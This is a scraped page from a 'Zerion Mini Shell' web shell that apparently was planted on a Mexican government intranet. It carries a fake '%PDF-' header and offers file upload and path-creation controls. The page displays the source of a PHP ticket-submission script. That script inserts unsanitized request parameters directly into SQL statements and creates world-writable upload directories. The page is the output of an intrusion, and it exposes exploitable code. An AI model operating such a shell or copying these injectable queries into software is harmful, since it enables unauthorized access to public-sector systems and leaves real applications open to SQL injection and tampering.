%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/administracion/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/administracion/agregar_ticket.php

<?php

session_start();
include "../../config/config.php";
$_SESSION['expire'] = time() + (120 * 60);

// Datos cliente
$id_inventario             =   isset($_REQUEST['id_inventario']) ? $_REQUEST['id_inventario'] : 0;
$id_solicita             =   isset($_REQUEST['id_solicita']) ? $_REQUEST['id_solicita'] : 0;
$id_atendido            =   isset($_REQUEST['id_atendido']) ? $_REQUEST['id_atendido'] : 0;
$fecha_servicio            =   isset($_REQUEST['fecha_servicio']) ? $_REQUEST['fecha_servicio'] : date('Y-m-d');
$servicio_subcategoria             =   isset($_REQUEST['servicio_subcategoria']) ? $_REQUEST['servicio_subcategoria'] : 0;
$folio_iterativo              =   isset($_REQUEST['folio_iterativo']) ? $_REQUEST['folio_iterativo'] : 0;
$asunto                =   isset($_REQUEST['asunto']) ? $_REQUEST['asunto'] : 0;
$mensaje          =   isset($_REQUEST['mensaje']) ? $_REQUEST['mensaje'] : '';
$estado_servicio                =   isset($_REQUEST['estado_servicio']) ? $_REQUEST['estado_servicio'] : 0;
$prioridad                =   isset($_REQUEST['prioridad']) ? $_REQUEST['prioridad'] : 0;

$imagenes        =    isset($_REQUEST['files']) ? $_REQUEST['files'] : 0;


$conf = new Configuracion();
$conf->conectarBD();

// insertar ticket
$insertar = "INSERT INTO inventario_tickets (id_inventario,id_solicita,id_atendido,fecha_servicio,servicio_subcategoria,folio_iterativo,asunto,mensaje,estado_servicio,prioridad,habilitado)
                    VALUES ('$id_inventario','$id_solicita','$id_atendido','$fecha_servicio','$servicio_subcategoria','$folio_iterativo','$asunto','$mensaje','$estado_servicio','$prioridad','1');";
$id_ticket = $conf->ultimo_id($insertar);

/*
$pdateu = "UPDATE inventario_inventario SET estatus = 'M', mantenimiento = 1 WHERE id_inventario =  $id_inventario";
$conf->actualizacion($pdateu);
*/


// bitacora
$insertar = "INSERT INTO inventario_bitacora (id_ticket,id_inventario,id_solicita,id_atendido,fecha_servicio,servicio,folio,bitacora,habilitado)
                    VALUES ('$id_ticket','$id_inventario','$id_solicita','$id_atendido','$fecha_servicio','$servicio_subcategoria','$folio_iterativo','Se Registró un ticket de Mantenimiento en $servicio_subcategoria - $folio_iterativo','1');";
$id_ticket23 = $conf->ultimo_id($insertar);

insertaImagen($id_ticket, $conf);


$conf->desconectarDB();

header("Location: page_find_ticketsseguimiento.php?id_inventario=$id_inventario");


function insertaImagen($id_ticket, $conf) {

	$fileNames = array_filter($_FILES['files']['name']);

	if (count($fileNames) > 0) {

		foreach ($_FILES['files']['name'] as $key => $val) {

			$file_name = basename($_FILES['files']['name'][$key]);
			$extension = pathinfo($_FILES['files']['name'][$key], PATHINFO_EXTENSION);

			$ext_formatos = array('png', 'gif', 'jpg', 'jpeg', 'pdf');
			$_FILES['files']["size"][$key];

			if (!in_array(strtolower($extension), $ext_formatos))
				return;
			if ($_FILES['files']["size"][$key] > 33000300800)
				return;
			
			$dia  = date("d");
			$mes  = date("m");
			$anio = date("Y");
			$targetDir = "../fotografias/$anio/$mes/$dia/";

			@rmdir($targetDir);
			if (!file_exists($targetDir)) {
				@mkdir($targetDir, 0777, true);
			}

			$token = md5(uniqid(rand(), true));
			$file_name = $token . '.' . $extension;
			$add = $targetDir . $file_name;
			$db_url_img = "$anio/$mes/$dia/$file_name";

			if (move_uploaded_file($_FILES['files']["tmp_name"][$key], $add)) {

				$insertar = "INSERT INTO inventario_ticketsarchivos (id_ticket,	url_archivo, habilitado)
                                 VALUES ('$id_ticket','$db_url_img', 1)";
				$conf->actualizacion($insertar);
			}
		}
	}
}

?>

Zerion Mini Shell 1.0